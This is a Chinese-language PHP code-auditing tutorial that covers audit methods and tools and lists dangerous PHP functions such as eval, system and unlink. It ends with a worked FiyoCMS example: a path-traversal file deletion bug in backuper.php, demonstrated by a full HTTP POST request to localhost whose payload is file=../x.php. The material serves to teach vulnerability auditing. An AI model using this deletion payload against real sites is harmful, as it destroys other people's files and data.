准备:
1.获取源码
2.安装网站
3.浏览网站结构
审计重点
入口文件
index.php、admin.php文件一般是整个程序的入口,详细读一下index文件可以知道程序的架构、运行流程、包含那些配置文件,包含哪些过滤文件以及包含那些安全过滤文件,了解程序的业务逻辑
配置文件
一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。先看看数据库编码,如果是gbk则可能存在宽字节注入。如果变量的值用双引号、则可能存在双引号解析代码执行的问题。
过滤功能
通过详读 公共函数文件 和 安全过滤文件 等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在哪里被过滤了,如何过滤的,能否绕过过滤的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用addslasher()处理?
审计方法
1.通读全文法
通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行,这要读到什么时候。但是该方法也是一种必要的方法。了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
2.敏感函数参数回溯法
根据敏感函数,逆向追踪参数传递的过程。
这个方法是最高效,最常用的方法。大多数漏洞的产生是因为函数的使用不当导致的。我们只要找到这样的一些使用不当的函数,就可以快速挖掘想要的漏洞。
这方面,Seay法师大大有一款神器Seay源代码审计系统,主要是利用正则匹配一些高危函数、关键函数以及敏感关键字。 然后,我们就可以分析判断敏感函数的上下文,追踪参数源头。
3.定向功能分析法
该方法主要是根据程序的业务逻辑来说审计的。
首先是用浏览器逐个访问浏览,看看这套程序有那些功能。根据相关功能,大概推测可能存在那些漏洞。
常见的代码审计工具
Fortify SCA
Checkmarx CxSuite
360代码卫士
PHP代码审计工具——Rips
参考:https://www.jianshu.com/p/cd1cb66e4d7d
seay代码审计(常用)
参考:https://www.oschina.net/p/seay
SonarQube
参考:https://www.cnblogs.com/qiumingcheng/p/7253917.html
Cobra
参考:https://zhuanlan.zhihu.com/p/32363880
kiwi
参考:https://github.com/alpha1e0/kiwi
高危函数
一.PHP代码执行函数
mixed eval(string $code)
把字符串当作代码执行
bool assert(mixed $assertion)
断言,调试函数,把字符串当作代码执行
mixed preg_replace
( mixed$ pattern, mixed $ replacement, mixed $ subject)
/e修正符使preg_replace()将replacement参数当作PHP代码执行
string creat_function(string $ args, string $ code)
创建一个匿名函数,并返回独一无二的函数名
mixed call_user_func(callable $ callback)
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数
mixed call_user_func_array
(callable $ callback, array $ param_arr)
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的参数传入
二.包含函数
require
include
require_once
include_once
三.命令执行函数
exec()
执行一个外部程序
passthru()
执行外部程序并且显示原始输出
pro_open()
执行一个命令,并且打开用来输入/输出的文件指针
shell_exec()
通过shell环境执行命令,并且将完整的输出以字符串的方式返回
system()
执行外部程序,并且显示输出
popen()
通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行
四.文件操作函数
copy
拷贝文件
file_get_contents
将整个文件读入一个字符串
file_put_contents
将一个字符串写入文件
file
把整个文件读入一个数组
fopen
打开文件或者URL
move_uploaded_file
将上传的文件移动到新位置
readfile
输出文件
rename
重命名一个文件或目录
rmdir
删除目录
unlink & delete
删除文件
代码审计实例
下载fiyocms
其他选项菜单->phpstudy设置->允许目录列表
seay扫描一下
发现一些漏洞
/dapur/apps/app_config/controller/backuper.php
文件删除漏洞
15-30行
if(isset($_POST['type'])) {
if($_POST['type'] == 'database') {
@unlink("../../../../.backup/$_POST[file]");
if(!file_exists('../../../../.backup')
mkdir('../../../../.backup');
通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作
POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bdshare_firstime=1581904550027; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=mdu33l281pnno5gpdb2ps6m4m4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
type=database&file=../x.php